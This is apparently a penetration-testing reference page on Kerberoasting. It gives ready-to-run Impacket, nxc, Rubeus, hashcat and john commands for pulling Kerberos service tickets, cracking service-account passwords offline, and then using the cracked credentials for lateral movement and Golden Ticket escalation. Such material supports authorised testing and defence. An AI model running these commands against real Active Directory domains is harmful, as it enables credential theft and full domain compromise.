# Kerberoasting – TGS Hash Extraction and Cracking

- **URL:** https://hackindex.io/services/kerberos/exploitation/kerberoasting
- **Path:** Kerberos > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/kerberos/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-03-11

Any authenticated domain user can request a TGS ticket for any service registered with an SPN. The ticket is encrypted using the service account's password hash. Kerberoasting pulls those tickets out of the domain and cracks them offline: no elevated privileges required, and no unusual network activity beyond a standard Kerberos ticket request.

The target is service accounts with weak or human-set passwords. Computer accounts have 120-character random passwords and cannot be cracked. User accounts with SPNs are the ones worth roasting.

You need valid domain credentials to proceed. If you have none, check the AS-REP Roasting page at [https://hackindex.io/services/kerberos/exploitation/asrep-roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting): accounts with pre-authentication disabled can be used to roast SPNs without credentials.

## Kerberoasting attack technique with Impacket

`impacket-GetUserSPNs` requests TGS tickets and outputs them directly in hashcat format:

```bash
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerberoast.txt
```

With an NT hash instead of a password:

```bash
impacket-GetUserSPNs $DOMAIN/$USER -dc-ip $TARGET_IP -hashes :$NTHASH -request -outputfile kerberoast.txt
```

To target a specific account rather than pulling all roastable accounts:

```bash
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request-user $TARGET_USER -outputfile kerberoast.txt
# ServicePrincipalName          Name         MemberOf  PasswordLastSet             LastLogon
# ----------------------------  -----------  --------  --------------------------  --------------------------
# MSSQLSvc/sqlserver.corp.local  svc_mssql             2022-03-15 10:23:11.000000  2024-01-10 08:14:22.000000
#
# $krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQLSvc/sqlserver.corp.local*$a1b2c3...
```

The `$23` means RC4 encryption. `$17` and `$18` are AES128 and AES256. RC4 cracks significantly faster: if you see AES hashes, see the RC4 downgrade section below.

## Roasting from Linux with nxc

nxc can enumerate and roast in a single command:

```bash
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerberoast.txt
```

## Roasting from Windows with Rubeus

On a Windows foothold, Rubeus roasts all accounts and outputs in hashcat-ready format:

```bash
Rubeus.exe kerberoast /outfile:kerberoast.txt /nowrap
```

Target a single account:

```bash
Rubeus.exe kerberoast /user:$TARGET_USER /outfile:kerberoast.txt /nowrap
```

`/nowrap` prevents line-wrapping in the hash output which breaks hashcat parsing.

## RC4 vs AES Tickets

RC4 (`$krb5tgs$23`) cracks orders of magnitude faster than AES256 (`$krb5tgs$18`). `GetUserSPNs` requests RC4-HMAC by default: no downgrade flag is needed. Add `-no-rc4` to opt out of RC4 forcing. Standard request:

```bash
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerberoast.txt
```

With Rubeus:

```bash
Rubeus.exe kerberoast /tgtdeleg /outfile:kerberoast.txt /nowrap
```

Note: if the domain enforces AES-only tickets via group policy or the account only supports AES, downgrade attempts will fail or return AES tickets regardless.

## Cracking with Hashcat

RC4 TGS hashes use mode `13100`:

```bash
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

AES128 TGS hashes use mode `19600`, AES256 uses `19700`:

```bash
hashcat -m 19600 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt
```

Extend coverage with rules:

```bash
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

With John:

```bash
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
```

## What to Do with a Cracked Hash

A cracked service account password is domain credentials. Depending on the account's privileges:

- If the account has local admin on any hosts, use it directly with `impacket-psexec`, `impacket-wmiexec`, or `evil-winrm`
- If the account has high AD privileges (Domain Admins, Account Operators, backup operators), escalate immediately
- Feed the credential into BloodHound to map privilege paths from the account
- Attempt password reuse across other services (SMB, RDP, WinRM)

If the service account is a Domain Admin or has DCSync rights, proceed to Golden Ticket creation at [https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket](https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket).

## References

- [Impacket](https://github.com/fortra/impacket) - Fortra GetUserSPNs.py source and documentation.
- [Rubeus](https://github.com/GhostPack/Rubeus) - GhostPack Kerberoast module documentation and usage examples.